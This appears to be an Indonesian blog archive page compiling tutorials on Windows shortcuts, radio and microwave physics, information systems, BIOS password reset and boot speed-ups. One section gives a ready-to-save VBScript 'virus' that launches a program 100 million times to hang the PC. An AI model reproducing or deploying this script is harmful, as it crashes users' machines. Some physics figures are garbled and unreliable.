Jumat, 18 Januari 2013

Hotkey Pada Windows

    
     Berikut adalah daftar Shortcut , hotkey , tombol pintas windows lengkap dan juga shortcut keyboard yang bisa di jadikan panduan mengoperasikan windows sistem agar lebih cepat dan efisien. Silahkan simak dan terapkan.


Tombol Windows + R = Run menu

menu RUN biasa digunakan untuk akses pintas seperti dibawah ini, ketikan kodenya lalu enter:
cmd = Command Prompt
regedit = Registry Editor
gpedit.msc = Group Policy
iexplore + “web address” = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory User dan Komputer
dssite.msc = Active Directory Situs dan Layanan
Tombol Windows + E = Explorer
ALT + Tab = Beralih antar jendela
ALT, Space, X = Maximize window
CTRL + Shift + Esc = Task Manager
Tombol Windows + Break = System properties
Tombol Windows + F = Search
Tombol Windows + D = Sembunyikan / Tampilkan semua jendela
CTRL + C = copy
CTRL + X = cut
CTRL + V = paste

Keyboard Shortcuts

[Alt] dan [Esc] = Beralih di antara aplikasi yang berjalan
[Alt] dan letter = Pilih item menu dengan huruf digarisbawahi
[Ctrl] dan [Esc] = Open Program Menu, sama seperti klik pada start
[Ctrl] dan windows [F4] = Tutup dokumen aktif atau kelompok (tidak bekerja dengan beberapa aplikasi)
[Alt] dan [F4] = Keluar aplikasi yang aktif atau menutup jendela aktif
[Alt] dan [-] = Open Control menu untuk dokumen yang aktif
Ctrl] Left/right arrow = Pindahkan kursor maju atau mundur satu kata
Ctrl] Up, Down arrow = Pindahkan kursor maju atau mundur satu paragraf
[F1] = Buka Bantuan untuk aplikasi yang aktif
Windows M = Minimalkan semua jendela yang terbuka
Shift Windows M = Undo minimize semua jendela yang terbuka
Windows F1 = Windows Buka Bantuan
Windows Tab = Siklus melalui tombol Taskbar
Windows Break = Buka kotak dialog System Properties

Aksesibilitas shortcuts Keyboard

Right SHIFT selama delapan detik = Mengaktifkan dan menonaktifkan FilterKeys.
Left ALT + left SHIFT + PRINT SCREEN = Mengaktifkan Kontras Tinggi dan mematikan.
Left ALT +left SHIFT +NUM LOCK = Mengaktifkan dan menonaktifkan MouseKeys.
SHIFT lima kali = Mengaktifkan dan menonaktifkan StickyKeys.
NUM LOCK selama lima detik = Mengaktifkan dan menonaktifkan ToggleKeys.
WIN Key + U = Buka Utility Manager

Explorer Shortcuts


END = Tampilkan bagian bawah jendela aktif.
HOME = Tampilkan bagian atas jendela aktif.
NUM LOCK Asterisk = pada keypad numerik (*) Tampilkan semua subfolder di bawah folder yang dipilih.
NUM LOCK PLUS SIGN = pada keypad numerik () Menampilkan isi dari folder yang dipilih.
NUM LOCK SIGN MINUS = pada keypad numerik (-) Tutup folder yang dipilih.
LEFT ARROW = Tutup pilihan saat ini apakah itu diperluas (expanded), atau pilih folder induk (parent folder).
RIGHT ARROW = Tampilan pilihan saat ini apakah itu collapsed, atau pilih subfolder pertama.

Ketik perintah berikut di Run Box (Windows Key + R) untuk shortcut program.


devmgmt.msc = Device Manager
msinfo32 = Sistem Informasi
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (Jika Terpasang)
MSAccess = Microsoft Access (Jika Terpasang)
powerpnt = Microsoft PowerPoint (Jika Terpasang)
winword = Microsoft Word (Jika Terpasang)
frontpg = Microsoft FrontPage (Jika Terpasang)
notepad = Notepad
WordPad = WordPad
calc = Kalkulator
msmsgs = Windows Messenger
MSPaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
waol = America Online
control = Membuka Control Panel
printer control = Membuka Printers Dialog

Internet Browser:


Untuk membuka url yang di awali http://www. dan diakhiri dengan domain .com semisal http://www.google.com, cukup tulis “google” tanpa tanda petik pada adress bar lalu tekan ctrl+enter.
Domain .net tekan shift+enter.
Domain .org tekan ctrl+shift+enter

Untuk Windows XP:


Hapus item yang dipilih secara permanen tanpa menempatkan item dalam Recycle Bin = SHIFT DELETE
Menyalin item yang dipilih = CTRL sambil menyeret item
Buat shortcut untuk item yang dipilih = CTRL SHIFT saat menyeret item
Ubah nama item yang dipilih = F2
Pindahkan titik penyisipan ke awal kata berikutnya = CTRL RIGHT ARROW
Pindahkan titik penyisipan ke awal kata sebelumnya = CTRL LEFT ARROW
Pindahkan titik penyisipan ke bagian awal paragraf berikutnya = CTRL DOWN ARROW
Pindahkan titik penyisipan ke awal paragraf sebelumnya = CTRL UP ARROW
Sorot sebuah blok teks = CTRL SHIFT dengan salah satu tombol panah
Memilih lebih dari satu item dalam sebuah jendela atau pada desktop, atau teks pilih dalam dokumen = SHIFT dengan salah satu tombol panah
Pilih semua = CTRL A
Mencari file atau folder = F3
Melihat properti untuk item yang dipilih = ALT ENTER
Tutup item aktif, atau keluar dari program aktif = ALT F4
Membuka menu shortcut untuk jendela aktif = ALT Spacebar
Tutup dokumen aktif dalam program-program yang memungkinkan Anda untuk memiliki beberapa dokumen terbuka secara bersamaan = CTRL F4
Beralih di antara item yang terbuka = ALT TAB
Siklus melalui item dalam urutan mereka dibuka = ALT ESC
Siklus melalui elemen layar dalam jendela atau di desktop = F6
Menampilkan Address bar daftar di My Computer atau Windows Explorer = F4
Menampilkan menu shortcut untuk item yang dipilih = SHIFT F10
Menampilkan menu Sistem untuk jendela yang aktif = ALT Spacebar
Menampilkan menu Start = CTRL ESC
Menampilkan menu yang sesuai = ALT Underlined surat dalam nama menu
Aktifkan menu bar dalam program aktif = F10
Buka menu di sebelah kanan, atau membuka submenu = RIGHT ARROW
Buka menu sebelah kiri, atau menutup submenu = LEFT ARROW
Refresh jendela aktif = F5
Lihat folder satu tingkat di My Computer atau Windows Explorer = BACKSPACE
Membatalkan tugas saat ini = ESC
Tekan SHIFT ketika memasukkan CD ke dalam drive CD-ROM CD agar tidak play otomatis.

Shortcut keyboard ini untuk kotak dialog:


Tekan:
Bergerak maju melalui tab = CTRL + TAB
Bergerak mundur melalui tab = CTRL + SHIFT + TAB
Bergerak maju melalui pilihan = TAB
Bergerak mundur melalui pilihan = SHIFT + TAB
Melaksanakan perintah yang sesuai atau pilih pilihan yang sesuai = ALT + huruf Underlined
Melaksanakan perintah untuk opsi aktif atau tombol = ENTER
Pilih atau menghapus kotak memeriksa apakah pilihan yang aktif adalah kotak cek = Spacebar
Pilih tombol jika opsi aktif adalah sekelompok tombol pilihan = Tombol panah
Tampilan Bantuan = F1
Menampilkan item dalam daftar aktif = F4
Membuka folder satu tingkat = BACKSPACE
Menampilkan atau menyembunyikan menu Start = WIN Key
Menampilkan kotak dialog Properti Sistem = WIN Key + BREAK
Show desktop = WIN Key + D
Minimalkan semua jendela = WIN Key + M
Mengembalikan jendela diminimalkan = WIN Key + Shift + M
Buka My Computer = WIN Key + E
Mencari file atau folder = WIN Key + F
Pencarian untuk komputer = CTRL + WIN Key + F
Tampilan windows Bantuan = WIN Key + F1
Kunci komputer Anda jika Anda terhubung ke domain jaringan, atau beralih pengguna jika Anda tidak terhubung ke domain jaringan. WIN Key + L
Buka kotak dialog Run = WIN Key + R
Buka Utility Manager = WIN Key + U

Membuat Virus Dengan Notepad

Berikut ini langkah-langkah harus dilakukan untuk membuat virus dengan menggunakan notepad :
   
Buka Notepad lalu Copy + Paste bahasa pemograman di bawah ini:
    -----------------------------------------------------------
    option explicit
    dim wshshell
    set wshshell=wscript.createobject("wscript.shell")

    dim x
    for x = 1 to 100000000
    wshshell.run "tourstart.exe"
    next
    -----------------------------------------------------------
    Save notepad dengan nama virus.vbs ( pastikan ”save as type” diubah ke ”all files”)

Ingat!! jangan klik file tersebut. Karena komputer anda akan dipenuhi oleh 100000000, tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total sebelum anda mendelete semuanya.

Bila ingin mencoba virus ini. silahkan membuat ulang program, dengan perbedaan ubah 100000000 ke 10 untuk percobaan. maka setelah anda mengklik program, makalayar anda akan dipenuhi oleh hanya 10 tourstart saja.

Artikel ini hanya sekedar informasi semata dan tidak dianjurkan untuk mempaktekkannya dengan maksud yang tidak baik.

Gelombang radio

    Gelombang radio merupakan jenis gelombang elektromagnetik yang berfrequensi tinggi berkisar antara 104 Hz sampai 108 Hz. Gelombang Radio terdiri atas osilator (getaran) yang sangat cepat pada medan elektrik dan magnetik.

Menurut Frekuensi
1. Frekuensi Rendah (LF)

Memiliki frekuensi 30 KHz s/d 300 KHz. Panjang gelombang 1500 M. Biasa digunakan untuk radio gelombang panjang dan komunikasi jarak jauh.

2. Frekuensi Sedang (MF)
Memiliki frekuensi 300 KHz s/d 3 MHz. Gelombang Radio berfrekuensi sedang biasa digunakan untuk sistem komunikasi. Gelombang ini memiliki panjang 300 M. Gelombang ini tidak bisa menembus atmosfer, bahkan pada bagian Ionosfer gelombang tersebut justru dipantulkan kembali sehingga informasi yang dibawa gelombang bisa menuju tempat yang jauh dari pemancar.

3. Frekuensi Tinggi (HF)

Memiliki frekuensi 3 MHz s/d 30 MHz. Panjang dari gelombang ini adalah 30 M. Biasa digunakan untuk radio komunikasi jarak pendek, radio amatir, CB.

4. Frekuensi Sangat Tinggi (VHF)

Memiliki frekuensi 30 MHz s/d 300 MHz. Panjang gelombang adalah 3 M. Gelombang tidak dapat dipantulkan oleh Ionosfer. Sehingga memiliki jangkauan yang sempit. Dan cocok digunakan untuk komunikasi antar satelit. Agar gelombang ini bisa berjangkauan jauh maka perlu stasiun penghubung (Relai). Biasa digunakan untuk Radio FM, Komunikasi Polisi, Pelayanan Darurat.

5 .Frekuensi Ultra Tinggi (UHF)

Memiliki frekuensi 300 MHz s/d 3 GHz. Panjang gelombang adalah 30 Cm. Gelombang tidak dapat dipantulkan oleh Ionosfer. Sehingga memiliki jangkauan yang sempit. Dan cocok digunakan untuk komunikasi antar satelit. Agar gelombang ini bisa berjangkauan jauh maka perlu stasiun penghubung (Relai). Biasa digunakan untuk Komunikasi Televisi.

6.Frekuensi Super Tinggi (SHF)
Memiliki frekuensi diatas 3 GHz. Panjang gelombang adalah 3 Cm. Biasa digunakan untuk radar, komunikasi satelit, telepon, saluran televisi.

Menurut Panjang Gelombang
1. Gelombang Panjang (1500 M)
2. Gelombang Sedang (300 M)
3. Gelombang Pendek (30 M)
4. Gelombang Sangat Pendek (3 M)
5. Gelombang Ultra Pendek (30 Cm)
6. Gelombang Mikro (3 Cm)

Menurut Sistim Modulasi
1. Amplitudo Modulasi (AM)
Gelombang yang mengalami perubahan amplitudo setiap detiknya. Namun frekuensi pembawa tetap. Gelombang ini dapat dipantulkan oleh Ionosfer sehingga memiliki jangkauan yang luas. Kelebihan AM adalah Jangkauan yang jauh. Sedang kekurangan AM adalah suara yang tidak jelas dan gelombang dipengaruhi keadaan cuaca. Digunakan untuk komunikasi jarak jauh.

2. Frekuensi Modulasi (FM)
Gelombang yang mengalami perubahan frequensi setiap detiknya, namun amplitude tetap. Gelombang ini tidak bisa dipantulkan oleh Ionosfer sehingga memiliki jangkauan yang sempit. Agar gelombang ini bisa berjangkauan jauh maka perlu stasiun penghubung (Relai). Kelebihan FM adalah Suara yang jelas dan tidak dipengaruhi keadaan cuaca. Sedang kekurangn AM adalah jangkauan yang sulit. Digunakan untu komunikasi antar satelit dan Radio FM.

     Gelombang Radio sangat bermanfaat bagi kehidupan manusia terutama dalam membantu komunikasi. Terlebih lagi Gelombang radio merupakan gelombang tinggi yang tidak terlihat, tidak terdengar, dan tidak tampak sehingga tidak mengganggu kehidupan manusia. Namun gelombang radio akan lebih bermanfaat bila digunakan sesuai kegunaanya dalam kebaikan.

Gelombang mikro (microwaves)

     Gelombang mikro (microwaves) adalah gelombang radio dengan frekuensi paling tinggi (superhigh frequency = SHF:), yaitu di atas 3 GHz (3 x 109 Hz). Jika gelombang mikro diserap oleh sebuah benda, maka akan muncul efek pemanasan pada benda itu. Jika makanan menyerap radiasi gelombang mikro, maka makanan menjadi panas dalam selang waktu yang sangat singkat. Proses inilah yang dimanfaatkan dalam microwave oven (oven microwave) untuk memasak makanan dengan cepat dan ekonomis

Perbandingan Spektrum Electromagnet

Oven Microwave

     Oven microwave ditemukan secara tidak sengaja oleh Dr. Percy Spenser pada tahun 1946. Suatu hari di tahun 1946 Spenser sedang bekerja di dekat sebuah magnetron (digunakan sebagai pembangkit gelombang mikro dalam sistem radar). Magnetron rupanya bocor pada suatu tempat. Ketika Dr. Spenser mengambil sebatang permen dari kantongnya, ia mengamati bahwa permen itu telah mencair (melebur). Dari peristiwa inilah is menemukan bahwa gelombang mikro dapat digunakan untuk memasak.

     Microwaves (gelombang-gelombang mikro) dihasilkan oleh magnetron, yang cara kerjanya inirip dengan "tabung" TV (tabung sinar katoda). Suatu tegangan tinggi membangkitkan arus besar yang memanaskan suatu bagian yang disebut katoda. Ini memberikan energi pada katoda yang kemudian diubah menjadi gelombang mikro. Gelombang mikro ini diarahkan sepanjang penuntun gelombang yang berongga untuk masuk ke seluruh ruang kompartemen.

     Gelombang mikro dalam kompartemen dengan mudah masuk ke dalam makanan. Energi gelombang mikro mengguncang (menggetarkan) molekul-molekul air dalam makanan. Molekul yang bergetar akan memiliki energi kalor lebih besar sehingga molekul-molekul ini menjadi lebih panas. Dengan demikian energi kalor dipindahkan dari satu molekul air ke molekul air lain di sekitarnya, dan makanan masak dari dalam, bukan dari luar ke dalam seperti pada oven konvensional.

     Gelombang mikro juga dimanfaatkan pada pesawat RADAR (Radio Detection and Ranging). RADAR berarti mencari dan menentukan jejak sebuah benda dengan menggunakan gelombang mikro (gelombang dengan frekuensi sekitar 1010 Hz). Pesawat radar memanfaatkan sifat pemantulan gelombang mikro. Antena radar bertindak sebagai pemanear dan penerima gelombang. Sebuah antena memancarkan seberkas sinar tipis gelombang mikro dalam bentuk pulsa-pulsa pendek. Karena panjanga gelombangnya hanya beberapa sentimeter, gelombang dengan mudah dapat dipantulkan oleh benda-benda dengan ukuran beberapa meter. seperti mobil, pesawat terbang. atau roket. Jika pulsa tadi mengenai benda (misal. pesawat terbang), maka sebagian pulsa pantulan akan di terima kembali oleh antena radar. Karena cepat rambat gelombang elektromagnetik c = 3 x 108 m/s, maka dengan mengamati selang waktu antara pemcaan dan penerimaan, misalnya , kita dapat mengetahui jarak benda yang ditangkap oleh radar s yang diberikan oleh

Angka pembagi 2 timbul karena pulsa gelombang harus menempuh jarak s pergi-pulang.

     Pesawat radar scat ini banyak digunakan untuk inembantu keamanan pendaratan pesawat terbang komersial. Dengan menggunakan radar, cuaca yang buruk tidak lagi merupakan hambatan bagi pendaratan pesawat di bandara-bandara besar.

     Gelombang mikro juga digunakan (taken rangkaian televisi (closed-circuit televison) untuk mengirim laporan gambar hidup televisi dari kendaraan-kendaraan penyiar yang berada di lapangan ke studio, misalnya untuk siaran langsung penunjukan musik.

Analisis Sistem Informasi

     Pengolahan data menurut sejarah mengalami perkembangan yang revolusioner, akan tetapi dengan ditemukannya teknologi dan pengetahuan baru dalam bidang bahasa dan matematika maka dapat dibagi empat revolusi perkembangan dalam pengolahan data. Revolusi pertama adalah pengembangan bahasa dan matematika; revolusi kedua ditemukannya alat cetak; revolusi ketiga berkembangnya media massa, dan revolusi keempat berkembangnya komputer digital.

     Menurut perkembangannya, terdapat dua alasan manusia mengolah data dan informasi, yaitu pertama karena dorongan alami manusia untuk menyatakan jumlah kepemilikan dan harta kekayaan; kedua untuk survei administratif pada kepemerintahan. Akan tetapi dalam perkembangan dunia modern, kebutuhan akan data dan informasi semakin kompleks sehingga diperlukan adanya suatu sistem formal dalam pengolahan data dan informasi. Semakin kompleks kebutuhan suatu organisasi maka semakin rumit sistem pengolahan data yang harus dibuat oleh organisasi untuk menghasilkan informasi yang dibutuhkan.


Konsep data dan Informasi

Data adalah fakta dan angka yang tidak sedang digunakan pada proses keputusan, dan biasanya berbentuk catatan historis yang dicatat dan diarsipkan tanpa maksud segera diambil kembali untuk pengambilan keputusan. Sedangkan informasi adalah sekumpulan data yang telah diambil kembali, diolah, dan digunakan untuk kesimpulan, argumentasi atau sebagai dasar peramalan dan pengambilan keputusan. Dengan kata lain, data adalah bahan mentah informasi.

Dalam konteks komunikasi, informasi adalah kejadian atau serangkaian kejadian yang mengandung pesan, yang ketika dipersepsi oleh penerima melalui proses pemaknaan, akan menambah pengetahuan bagi penerima tersebut. Dengan demikian kejadian atau data menjadi informasi adalah bergantung kepada pengguna, dan makna informasi bergantung kepada persepsi, latar belakang, dan penilaian pengguna. Informasi berfungsi untuk meningkatkan pengetahuan dan mengurangi ketidakpastian pengguna.


Proses Pembuatan Informasi dari Data

Data merupakan elemen dasar untuk pembuatan informasi. Data dapat diubah menjadi sesuatu yang berarti melalui proses dalam suatu model keputusan.

Informasi merupakan produk pokok dari sistem informasi. Hal yang mendasari suatu proses keputusan adalah ketidaktentuan. Informasi mempunyai dua fungsi dasar, yaitu mengurangi keragaman dan memberikan umpan balik.

Informasi merupakan komoditas yang berguna dan bernilai, dan sebagai konsekuensinya diperlukan biaya untuk menghasilkannya. Agar lebih ekonomis maka biaya untuk menghasilkan informasi harus sesuai dengan nilainya.

Pengolahan data menjadi informasi dapat melalui empat metode, yaitu (1) manual, (2) elektromekanik, (3) perlengkapan punched card (kartu pencatat), dan (4) komputer elektronik (termasuk di dalamnya penggunaan CD-rom).

Untuk memahami kemampuan/kinerja metode pengolahan data perlu memperhatikan: penanaman modal awal; persiapan; konversi; kebutuhan; kecepatan pengolahan; kemampuan penghitungan; kontrol pengolahan; pendeteksian kesalahan otomatis; kemampuan pembuatan keputusan; degradasi sistem dan tingkat otomasi.

Pengadaan informasi memerlukan biaya. Pertimbangan biaya dalam sebuah pengolahan informasi dapat memperhatikan: harga perangkat kerasnya; harga perancangan dan penerapan analisis sistem; harga untuk faktor kendali lingkungan; harga suatu konversi; dan harga pengoperasian.

Selain harga, nilai informasi perlu juga mendapat perhatian analis sitem, yaitu menyangkut pada: aksesibilitas, kelengkapan, keakuratan, ketepatan, singkat waktu, kejelasan, kelenturan, kemampuan diuji, kebebasan dari bias; dan dapat dihitung.


Analisis Sistem dan Konsepsi Sistem

Ilmu sistem dalam perkembangannya dipengaruhi oleh Kibernetika, sebagai penggambaran umpan balik dalam mengatur gerakan mekanis, atau sebagai pengendali dan komunikasi.

Sistem secara sederhana dapat didefinisikan sebagai suatu kumpulan objek-objek yang terangkai dalam interaksi dan saling ketergantungan yang teratur.

Konsepsi sistem merupakan abstraksi komponen-komponen pembentuk sistem ke dalam suatu definisi. Konsepsi sistem memiliki beberapa aspek, yaitu (1) unsur-unsur sistem; (2) tujuan sistem; (3) tindakan untuk mencapai tujuan; (4) proses; (5) output; (6) ukuran keberhasilan.

Hubungan antarsistem atau subsistem dapat bersifat hubungan seri dan hubungan pararel. Sedangkan klasifikasi sistem dapat dilihat dari tingkat keterdugaannya dan kerumitannya.


Fungsi Manajemen di Dalam Organisasi


Sistem dapat secara efektif dideskripsikan dan dianalisis. Klasifikasi sistem secara garis besar di antara deterministik sederhana sampai probabilistik yang rumit.

Khususnya dalam organisasi bisnis, secara sederhana aktivitas manajemen adalah perencanaan (planning), pengendalian (controlling), dan pengambilan keputusan (decision making).

Perencanaan bukan hanya menentukan tujuan, tetapi juga deskripsi aktivitas, metode, dan perpaduannya agar tujuan tersebut dapat dicapai. Manajemen memerlukan informasi untuk membantu pemilihan rencana yang terbaik dalam mencapai tujuan tersebut.

Aktivitas pengendalian secara keseluruhan tidak efektif tanpa informasi. Untuk mempengaruhi kendali, manajemen harus memiliki subsistem yang berfungsi untuk mengukur output sistem dan membandingkannya dengan tujuan yang direncanakan. Kemudian, fungsi manajemen terutama dapat melakukan tindakan yang tepat untuk memperbaiki penyimpangan hasil rencana.

Pengambilan keputusan secara mendasar merupakan aktivitas pemecahan masalah. Terdapat empat elemen proses pengambilan keputusan, yaitu: model, kriteria, hambatan, dan optimasi. Beberapa keputusan merupakan aktivitas rutin, beberapa lainnya merupakan pemecahan masalah yang timbul. Proses pengambilan keputusan dapat diambil dalam tiga tingkatan: strategis, yang merupakan kebijakan dan perencanaan jangka panjang; taktis, yang merupakan implementasi dari perencanaan; dan teknis, yang merupakan kegiatan dari hari ke hari.


Analisis Sistem dan Konsepsi Sistem

Suatu sistem informasi didefinisikan sebagai kumpulan komponen-komponen yang menampilkan pelaksanaan pengolahan data yang sistematis dan formal untuk (1) keperluan transaksi pengolahan data resmi, (2) menyajikan informasi bagi pengambilan keputusan, dan (3) menyajikan laporan, bagi keperluan eksternal.

Sistem informasi sebagai suatu pendekatan transaksional data dan yang menangani operasi pengolahan data rutin. Sistem informasi berperan penting dalam menghasilkan nilai output yang diperlukan bagi pengambilan keputusan sehingga diharapkan menghasilkan sepuluh nilai informasi.

Dalam konteks organisasi, sistem informasi dipengaruhi oleh kondisi internal dan eksternal. Kondisi internal berupa manajemen organisasi dan kondisi eksternal adalah pengguna.


Sistem Informasi didalam Organisasi

Sistem informasi akuntansi (SIA) adalah merupakan suatu aplikasi yang dapat membantu pengolahan data dengan volume yang tinggi, meliputi empat tugas utama, yaitu: pengumpulan data, manipulasi data, penyimpanan data dan penyimpanan dokumen. Informasi digunakan oleh pemakai di dalam maupun luar organisasi.

Sistem yang khusus memenuhi kebutuhan informasi bagi intern organisasi adalah Sistem Informasi Manajemen (SIM). Informasi yang dihasilkan SIM tidak berkewajiban untuk menyediakan informasi bagi lingkungan.

Sistem informasi yang diterapkan pada sub-sistem organisasi yang melakukan aktivitas berdasarkan fungsionalnya disebut Sistem Informasi Fungsional. Terdapat empat sistem informasi fungsional ini, yaitu Sistem Informasi Pemasaran, Sistem Informasi Manufaktur, Sistem Informasi Keuangan, dan Sistem Informasi Sumber Daya Manusia. Di atas sistem-sistem infomasi tersebut terdapat suatu sistem yang disebut Sistem Informasi Eksekutif.


Komputer Sebagai Media Penyimpan Data

Komputer sebagai perangkat pengumpul, penyimpan, dan penyaji data memiliki kemampuan yang beragam sesuai dengan kapasitas penyimpan data. Data tersimpan dalam alat penyimpanan (data storage) yang berupa penyimpanan utama (primary storage) dan penyimpanan sekunder (secondary storage). Untuk dapat bekerja dengan baik, sebuah ruang kerja komputer harus dirancang khusus.


Cara Kerja Komputer

Komputer bekerja dalam lingkungan yang terbentuk atas hardware, software dan staf. Dalam kerjanya, proses komputer mengalami perputaran dari awal pemasukan sampai kemudian penyajian data. Data masuk dalam komputer melalui dua cara utama, yaitu batch processing dan on-line processing. Komputer di samping sebagai penyimpan, dapat juga dijadikan sebagai terminal. Terdapat beberapa perangkat khusus untuk memasukkan data ke dalam komputer.


Perangkat dan Hasil Kerja Komputer

Penyajian hasil proses komputer dapat dilihat dalam dua bentuk utama, yaitu Softcopy dan hardcopy. Softcopy adalah tampilan berupa gambar diam ataupun bergerak dalam monitor komputer, sedangkan hardcopy adalah tampilan hasil kerja komputer dalam bentuk cetakan. Alat cetak atau printer terdiri atas dua bentuk utama, yaitu impact dan Non-impact Printer. Di samping itu hasil kerja komputer dapat juga berupa gerakan robotik dan suara.


Bekerja dengan Komputer

Komputer sebagai perangkat pengumpul, penyimpan, dan penyaji data akan dapat memberikan hasil yang maksimal jika dioperasikan dalam kondisi kerja yang baik. Perhatian yang diberikan kepada masalah tersebut dikenal dengan istilah ERGONOMIC CONSIDERATION. Hal yang harus diperhatikan dalam bekerja dengan komputer adalah lingkungan kerja, perangkat keras dan kerja sama antara komputer dan pemakainya.


Mengenal Pangkalan Data (Data Base)

Pangkalan data dalam pemasangannya memiliki sembilan tujuan utama yang menyangkut keuntungan pemasangan dan kemampuan yang dimiliki pangkalan data. Dalam pembangunan pangkalan data terdapat pandangan yang pro dan kontra mengenai perlu atau tidaknya ada pangkalan data. Dalam pangkalan data, data dapat dibagi ke dalam dua bentuk, yaitu bentuk logis dan bentuk fisik.


Rancangan Pangkalan Data (Data Base)

Sistem manajemen pangkalan data adalah satu perangkat software yang terintegrasi untuk mengontrol dan mengatur data dalam pangkalan data. Pangkalan data menangani permintaan dari program aplikasi yang dihasilkan dari bahasa khusus yang disebut data manipulation language (DML). Untuk menghasilkan tampilan bagi pengguna, model data menggambarkan bentuk/gambaran dalam sebuah bahasa yang disebut data definition language (DDL). Bahasa ini memberitahu DBMS bagaimana data harus terstruktur. Oleh karena itu DML memanipulasi data, DDL menggambarkan struktur data, sedangkan DBMS mengatur dan mengkoordinasi data sesuai dengan permintaan DML dan gambaran DDL.


Struktur Data

Hubungan antara data mandiri (entities) membentuk sebuah struktur data. Ada tiga jenis hubungan: satu-ke-satu, satu-ke-banyak, dan banyak-ke-banyak. Terdapat juga tiga jenis data struktur: pohon atau hierarki, jaringan, dan relasional.
  1.     Struktur pohon atau hierarki memiliki elemen data dalam bentuk seperti pohon. Sebuah data mandiri tidak boleh memiliki lebih dari satu data mandiri yang dimiliki. Struktur ini mudah dirancang dan dimengerti.
  2.     Struktur jaringan memungkinkan hubungan 1:1, 1:B, atau B:B antara data mandiri. Struktur ini menunjukkan keadaan sebenarnya, walaupun kemudian dapat menjadi sangat rumit.
  3.     Struktur relasional memiliki data dan hubungan yang ditampilkan dalam sebuah tabel yang berbentuk datar, dua dimensi yang disebut relasi. Sebuah relasi nilainya sama dengan sebuah file.

Reset Bios Mainboard Secara Cepat dan Mudah

     Cara reset bios mainboard yang cepat dan mudah bisa kita lakukan apabila bios pada mainboard tidak bisa dibuka saat akan melakukan install ulang. Berikut ini akan kita bahas tutorial mengenai reset bios mainboard pada PC. Apabila kita lupa password bios kita dapat melakukan langkah sebagai berikut :
  1.     PC harus pada posisi mati, buka casing atau tutup samping casing
  2.     cari dan lepas baterai jam yang berbentuk bundar berjenis CR2032.
  3.     Hubung singkatkan soket tempat letak baterai tersebut
  4.     Bios sudah dalam posisi terreset dan anda dapat memasang baterainya kembali
Cara reset bios mainboard yang cepat dan mudah ini adalah cara yang paling manjur dan tepat untuk menghilangkkan password pada bios mainboard. Semoga bermanfaat :)


Mempercepat Booting Windows

Booting merupakan suatu proses eksekusi pada saat pertama kali menyalakan komputer. Walaupun kelihatan sederhana, tapi sangat penting.

Komputer bisa menghabiskan waktu yang lama untuk sebuah proses booting apabila mempunyai service (Atribut) yang banyak. Untuk mengurangi proses tersebut ada beberapa cara berikut ini yang patut dicoba sobat Pusat Teknologi untuk mempercepat proses booting:

  •     Tempatkan Prioritas Booting Yang Tepat
Komputer secara default akan menempatkan Floopy Disk kemudian CD/Drive sebagai urutan prioritas booting. Hal inilah yang menjadikan waktu booting menjadi lama karena komputer melakukan pencarian boot media terlebih dahulu. Agar waktu untuk proses booting semakin cepat sebaiknya sobat Pusat Teknologi mengubah setting prioritas boot dengan cara masuk ke dalam BIOS.

Pada saat menyalakan komputer, segera tekan DEL pada saat logi AMI muncul atau saat penghitungan memori. Pada pilihan First Boot Device, pilih hard disk tempat operasi sistem sobat Pusat Teknologi berada, sebagai contoh “Hard Disk W89HY589R”. Kemudian Exit dan Simpan. Langkah ini akan mempercepat proses booting karena langsung masuk ke tempat di mana OS tersebut disimpan.
  •     Atur Pendeteksian HDD
Berikutnya langkah untuk mempercepat proses booting dengan cara mengurangi pendeteksian drive dalam komputer. Sobat Pusat Teknologi dapat melakukannya secara manual dan menentukan sendiri melalui settingan BIOS.
  •     Nonaktifkan Komponen Yang Tidak Diperlukan
Perangkat yang dipasang terlalu banyak dalam komputer akan memperlama proses booting. Oleh karena itu, segera nonaktifkan komponen/perangkat yang tidak perlu terseebut. Untuk melakukannya sobat Pusat Teknologi  Device Manager dan pilih Disable pada Drop Down Box Device Usage. Atau klik kanan My Computer, pilih Properties, lalu klil Hardware.
  •     Hapus Screen Loading
Unutk mempercepat proses booting, bisa dilakukan dengan cara menghilangkan screen loading di komputer. Caranya sangat mudah, tinggal masuk menu Run pada start menu, kemudian ketikan msconfig, lalu Ok. Centang pada opsi /NOGUIBOOT. Proses booting akan lebih cepat karena tidak menampilkan screen logo windows dan animasinya. Ini akan menghemat beberapa detik. Lumayan kan.
  •     Kurangi Waktu Setelah Booting
Setelah melakukan proses booting, komputer akan melakukan pengenalan pada jaringan. Untuk mendisablekan jaringan ini bisa dilakukan dengan cara klik kanan My Computer dan pilih Manage. Lalu expand service and aplication. Lihat pada pilihan service cari workstation klik double. Pilih Disable pada Drop Down Box Star Up type.
  •     Nonaktifkan Service
Banyak service secara otomatis maupun berjalan dalam start up menghabiskan waktu, selain juga memboroskan memori. Service-service yang tidak perlu sebaiknya dimatikan saja. Tapi berhati hatilah, ada beberapa service yang tidak boleh dimatikan. Baca fungsinya masing-masing pada sebelah kanan service tersebut sebelum menonaktifkan.

Cara Booting Komputer Dari Bootable CD/DVD

Ikuti langkah-langkah berikut ini untuk melakukan boot dari CD/DVD.
  1.     Start komputer Anda, lalu tekan tombol untuk mengakses BIOS (ini relatif pada setiap pabrikan mainboard, ada yang menggunakan tombol F1, F1, DELETE. Pada umumnya mainboard Asus menggunakan tombol DELETE untuk mengakses BIOS). Tetapi mainboard lain sering menggunakan F1 atau juga F2.
  2.     Setelah masuk BIOS, cari Primary First Boot (istilah ini juga ada kalanya beda sesuai mainboard). Dari Primary First Boot atur first boot dari CD atau DVD, bukan hard disk. Beberapa komputer sudah dikonfigurasi dengan cara ini secara langsung, tetapi banyak juga yang tidak.
  3.     Simpan pengaturan no.2 diatas lalu silakan keluar dari BIOS. Masukkan bootable CD atau DVD dalam drive CD Anda.
  4.     Restart komputer Anda.
  5.     Tekan sembarang tombol ketika muncul pesan [Press any key to boot from CD or DVD... ] untuk boot dari CD atau DVD.
